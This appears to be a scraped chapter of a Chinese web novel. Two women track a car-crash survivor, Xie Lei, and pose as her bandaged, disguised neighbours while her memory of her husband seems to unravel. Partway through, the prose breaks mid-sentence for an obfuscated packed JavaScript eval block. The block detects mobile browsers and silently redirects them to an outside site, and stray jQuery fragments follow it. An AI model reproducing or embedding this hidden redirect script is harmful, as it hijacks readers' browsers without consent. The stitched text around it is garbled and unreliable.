谢蕾出院了。
虽说是车祸,但谢蕾的伤势似乎并不严重,只在病床上躺了几天就好的差不多了。
出院时挽着丈夫的胳膊蹦蹦跳跳,那模样,任谁也不觉得她已经是个五十多岁的人,倒像是个陷入热恋的少女。
这就是爱情的力量吗?
时欢年悲催地想着,扒拉下头上的草叶。
别人在爱情里活蹦乱跳,自己在医院门口的绿化带里藏得乱七八糟。
命苦啊!
长叹一声,时欢年认命地悄咪咪跟了上去。
如果说之前仅仅是因为庄艺的哀求,那么现在就是她自己的好奇了。
从开始到现在发生的这一系列事情太过扑朔迷离了,任谁也想不明白这究竟是怎么一回事。
而且时欢年有种直觉,哪怕自己现在不理他们,这件事兜兜转转也还是会找上自己。
时欢年一路跟着。
谢蕾和丈夫回了家,时欢年在楼道里打了几个转,还是在单元门口找了个合适的绿化带潜伏进去。
从这个位置刚好对着谢蕾家的窗户。
时欢年勉强可以透过窗户看到里面活动的人影。
就这样一直等到傍晚,谢蕾的丈夫出现了。
时欢年一路跟着,看着他一路买买东西,再准备回家的时候,被一个坐着轮椅的人挡住了去路。
这个人全身裹满绷带,看起来相当恐怖,唯一露出来的两只眼睛也被掩盖在墨镜下。
男人身形瘦小,嗓音有种病态的虚弱:“你好,你刚才好像错拿了我的东西,可以麻烦你看一下吗?”
印川疑惑地翻看了下手里的袋子,从里面掏出一盒饼干:“不好意思,东西太多了可能不小心拿错了,这个是你的吗?”
男人点点头,伸出缠满绷带的手,但印川却有些迟疑。
“这是买给我的妻子的,”男人似乎笑了下,声音闷闷的,“她就在后面。”
顺着男人手指的方向看过去,他看到了躲在墙角鬼鬼祟祟的时欢年。
这个姑娘跟了他一路了。
“我的妻子她,她智力有点问题,”坐着轮椅的男人说,声音染上哽咽,
“虽然总是闯祸,但我很爱她,如果她之前做了什么事打扰到您了,我代她向您道歉。”
印川放下心来,叹了口气,将饼干递过去:“没关系。”
说完就离开了。
躲在墙角后的时欢年听得一脸懵。
那个跟木乃伊一样的男人对于自己冒领一个“妻子”的行为完全没有感到尴尬,反而还对着“妻子”招了招手。
“你谁啊?”时欢年冲过去凑到他面前。
“嘘!”传到时欢年的耳朵里,却是一个女人的声音,而且还很耳熟。
时欢年推着轮椅走到四下无人的小巷子里,摘下对方的墨镜,那双熟悉的眼睛进一步验证了时欢年的猜想。
“怎么,很惊讶吗?”
“庄艺姐,你怎么在这,还弄成了这个样子?”
时欢年很惊讶,但很快又警惕起来。
“没办法,”庄艺又将墨镜戴上了,似乎没察觉到时欢年的态度,“你应该发现了吧,这个世界上已经没有‘庄艺’这个人了。”
“可为什么会变成这样?”
“我也不知道,不过只要我表明我是庄艺,总会遇到各种意外,前两天出了车祸,在医院护士总是莫名配错药,被针扎被刀划,别提又多惊险了。”
时欢年半信半疑:
“所以你就把自己弄成这个样子了?”
“是啊,我还变换了性别,保证别人认不出来。”
“你……”时欢年略带同情地撇了一眼……
“什么表情?”庄艺嫌弃地推了她一把,“我就是变了个声,别的什么都没动啊!”
时欢年略带遗憾地叹了口气。
“啧,”庄艺决定不跟这个“智力有点问题”的“妻子”一般见识,
“谢蕾已经不认识我们了,现在我们得有个身份接触谢蕾,才能知道到底发生了什么。”
“所以你才说我是你的妻子?”
“这样的身份才能降低他们的防备心理。”
时欢年撇撇嘴:“我现在就和谢蕾姐关系挺好的,用不到你这法子。”
庄艺瞥了她一眼,软下声音笑着说:“那你就当帮帮我了,我在这个世界实在是没办法拥有一个合理身份了,没有你的掩护我就要死翘翘了。”
庄艺是知道时欢年的性格的。
果不其然,时欢年低头思考了一会,就默认了这个略显诡异的设定。
“你真的没骗我?”
“没有,”庄艺把墨镜握在手心,用一双真挚的眼睛看着她,“这个世界变得不一样了,我需要你的帮助。”
“那下一步呢,你有计划吗?”
虽然没有办法完全信任,但庄艺的出现确实让原本还晕头转向的时欢年有了主心骨。
“当然有。”庄艺看向谢蕾家的方向,心里积压着沉甸甸的感伤。
------
谢蕾这几天发现自己家对面住了人。
那户人家应该是新搬来的,也是一对夫妻,男的是个浑身裹满绷带的怪人,女的是那天在医院和自己说话的小姑娘。
谢蕾遇到过他们好几次,却只敢和时欢年说两句话。
不过那个男人倒是很热情,几次邀请她去家里坐坐。
谢蕾把这件事跟丈夫说了,丈夫说自己遇到过他们,男的全身烫伤,女的智力上有点问题。
但幸好这男的不是什么坏人。
谢蕾也慢慢开始接他的话,偶尔和他们互送点自己做的小甜品,一来二往倒也混熟了,也愈发对这对夫妻同情起来。
两人身体上的缺陷导致他们在生活中总会遇到各种各样的困难,但他们很乐观,感情也很好,鲜少争吵,每次接触都能感受到他们对生活满满的热情。
谢蕾总会去他们家坐一坐,说是做客,大部分时间其实都在帮忙收拾。
这两人也很不好意思,看谢蕾收拾了一阵赶忙拉她过来坐下,递上一杯温水:“太不好意思了谢蕾姐,总是麻烦你。”
谢蕾摆摆手:“你们这说的什么话,邻居不就是要互帮互助的嘛,而且你们不也总是教我做甜点,就当是交学费了。”
“总这样也不是个事嘛,谢蕾姐你自己家不也还要收拾,这样太累了,以后我们还是自己来吧。”
“没事没事,”谢蕾将水杯放下,“我老公在家就收拾了,我闲着也是闲着。”
“谢蕾姐,你老公没上班吗?”时欢年问了一句,被庄艺一瞪,捂住嘴噤了声。
“没有,他……”谢蕾没有在意时欢年的问题,摆了摆手,又像是突然想到了什么,陷入沉思。
“谢蕾姐?”
“哦,没事,”谢蕾缓过神来,笑容却变得勉强,“我就是突然觉得好像忘了什么事。”
“谢蕾姐,你是不是累了,要不要回去休息休息。”
谢蕾神情恍惚,也没接话,自顾自走了。
打开自家的房门,厨房里响起烹油的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375955|184056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刺啦声,丈夫的身影在磨砂门后影影绰绰。
熟悉的声音穿过锅铲碰撞声传入耳朵:“老婆你回来了?马上就好,快洗洗手准备吃饭啦。”
谢蕾心里有个问题渐渐成型,可她不敢问,就好像一说出来就会有很糟糕的事情发生。
丈夫端着菜出来,擦擦额头上的汗:“怎么了老婆,脸怎么这么白,出什么事了吗?”
谢蕾看着丈夫关切的眼神,艰难地问出了一个问题:“老公,你是做什么的来着?这段时间怎么没见你上班?”
丈夫愣了一下,笑了:“老婆,我不是为了照顾你跟公司请假了吗,下周就去上班了。放心吧,没有失业,肯定不会让老婆没钱花。”
这话一出,谢蕾脑子里被雾覆盖的角落渐渐清晰。
好像,是这样的。
谢蕾也不知道自己刚才是怎么了,这个问题有什么好害怕的?
身体上的冷意渐渐褪去,周围的空气活泛起来,升腾起暖洋洋的蒸汽。
丈夫坐下来揉了揉谢蕾的脑袋:“刚才又去对门邻居那里帮忙了?”
“嗯。”谢蕾扒拉着饭,嘴里鼓鼓囊囊的。
“你也不要总是去他们家,人家夫妻也有自己的生活,你总去万一打扰了人家就不好了。”
“放心,我就是帮他们收拾收拾,也不待很长时间。”
“那下次让我去吧,总让老婆收拾,怪累的。”
谢蕾的丈夫掩下眼中翻涌的不明情绪,细心地为妻子抹去嘴上的饭粒。
“慢点,别噎到了。”
“不知道为什么,我感觉好久都没吃到你做过的饭了。”
“没关系,以后你天天都能吃到。”
在谢蕾的记忆里,丈夫一直都是一个很温柔的人,只要在他身边,就会很安心,好像世界上所有的难题都会被轻松解决。
时光就像静默着流淌的溪流,缓慢地向前推进,谢蕾感觉幸福日复一日,好像永远也不会迎来尽头。
某个晚上,她罕见地做了噩梦,醒来哭着对丈夫说:
“我梦到你死了。”
丈夫的身体似乎一僵,但还是用他一如往常的温柔语调轻声哄着:
“没事,不哭,不会的。”
可是谢蕾的心里像是被这个梦凿出一个洞,那些静静流淌的溪水在这里尽数落入无底深渊。
她心里的不安越来越强。
丈夫上班去了,谢蕾自己在家,心里的空洞更让她坐立难安,于是邻居家又成了她经常去的地方。
“谢蕾姐,我之前学过一点心理,你要是不介意,跟我说说。”
庄艺虽然个人形象不佳,但说因为声音温柔,说出口的话又很让人信服。
谢蕾注视着庄艺的眼睛,轻声开口:“我总会想到,丈夫出门后的三种未来。”
“他会死,什么都不会发生,他会有好运。”
空气有一瞬间的凝滞,好像命运的齿轮从此刻开始转动。
庄艺说:“那你丈夫这几天出门后有发生什么吗?”
“没有,”
谢蕾摇摇头,
“说起来还有一个很奇怪的事,我梦到丈夫死亡的现场总是市中心的一栋写字楼,可是,我的丈夫不在那里上班,他也没有理由去那里。”
“那你丈夫在哪里上班?”庄艺皱起眉。
“在……”谢蕾皱了皱眉,“我也不知道,但是肯定不是那里。”
庄艺和时欢年对视一眼,两人心里同时升起一个念头,
这不对啊,又是哪里出了差错?